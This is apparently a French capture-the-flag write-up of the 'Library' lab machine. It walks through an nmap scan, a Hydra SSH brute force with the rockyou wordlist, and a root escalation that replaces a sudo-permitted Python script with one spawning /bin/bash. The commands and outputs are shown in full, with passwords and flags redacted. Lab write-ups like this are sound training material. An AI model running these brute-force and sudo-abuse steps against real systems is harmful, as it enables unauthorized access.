Library (Guatemala CTF)

Sommaire

1. Reconnaissance

nmap -T4 -A 10.10.121.39
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-03 14:41 CEST
Nmap scan report for 10.10.121.39
Host is up (0.030s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:2f:c3:47:67:06:32:04:ef:92:91:8e:05:87:d5:dc (RSA)
|   256 68:92:13:ec:94:79:dc:bb:77:02:da:99:bf:b6:9d:b0 (ECDSA)
|_  256 43:e8:24:fc:d8:b8:d3:aa:c2:48:08:97:51:dc:5b:7d (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Welcome to  Blog - Library Machine
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.56 seconds

Le scan NMAP met en évidence la présence d’un serveur SSH sur le port 22, et d’un serveur Apache sur le port 80. Ce service dispose d’un fichier robots.txt qui permet d’empêcher aux moteurs de recherche de référencer les pages indiquées dans ce fichier.

2. Exploration du site

Nous commençons par vérifier le contenu du fichier robots.txt mis en avant par le scan précédent :

curl 'http://10.10.121.39/robots.txt'
User-agent: rockyou
Disallow: /

Le User-agent indique le nom d’une liste de mots de passe nommée rockyou. Cette liste est souvent utilisée pour trouver des mots de passe “faible” dans des outils de force brute comme John The Ripper, Hashcat ou encore Hydra.

Première connexion
Première connexion

Le site héberge un blog, dont l’auteur s’appelle “meliodas”. Nous utiliserons cet identifiant pour tenter de trouver un mot de passe valide pour une connexion SSH grâce à l’outil Hydra.

3. Trouver un mot de passe

L’outil Hydra nous permet bien de trouver le mot de passe de l’utilisateur “meliodas”

hydra -l 'meliodas' -P /usr/share/wordlists/rockyou.txt 10.10.121.39 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-03 15:03:12
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.121.39:22/
[STATUS] 146.00 tries/min, 146 tries in 00:01h, 14344256 to do in 1637:29h, 13 active
[22][ssh] host: 10.10.121.39   login: meliodas   password: i[...expurgé...]1
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-03 15:05:30

Grâce à ces identifiants, nous pouvons accéder au serveur et récupérer le 1er flag.

ssh meliodas@10.10.121.39

cat user.txt
6d488c[...expurgé...]35f4ec

4. Élévation de privilèges

L’utilisateur meliodas est habilité à utiliser la commande sudo sans mot de passe pour lancer un script Python :

sudo -l
Matching Defaults entries for meliodas on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User meliodas may run the following commands on ubuntu:
    (ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py

Le script en question appartient à root, et meliodas n’a que la possibilité de le lire. Nous ne pourrons pas modifier ce script pour obtenir un reverse-shell.

ls -hAl bak.py
-rw-r--r-- 1 root root 353 Aug 23  2019 bak.py

Le script semble permettre de faire une sauvegarde du contenu du site vers une archive website.zip

#!/usr/bin/env python
import os
import zipfile

def zipdir(path, ziph):
    for root, dirs, files in os.walk(path):
        for file in files:
            ziph.write(os.path.join(root, file))

if __name__ == '__main__':
    zipf = zipfile.ZipFile('/var/backups/website.zip', 'w', zipfile.ZIP_DEFLATED)
    zipdir('/var/www/html', zipf)
    zipf.close()

Nous pouvons néanmoins supprimer puis recréer le fichier bak.py afin d’obtenir un shell root. Pour ce faire, nous utiliserons la commande proposée par GTFOBins en l’adaptant à nos besoins :

rm -f bak.py

echo "import os
> os.system('/bin/bash')" > bak.py

sudo /usr/bin/python3 ~/bak.py

id
uid=0(root) gid=0(root) groups=0(root)

Maintenant que nous avons accès au compte root, nous pouvons lire le dernier flag.

cat /root/root.txt
e8c8c6[...expurgé...]88c617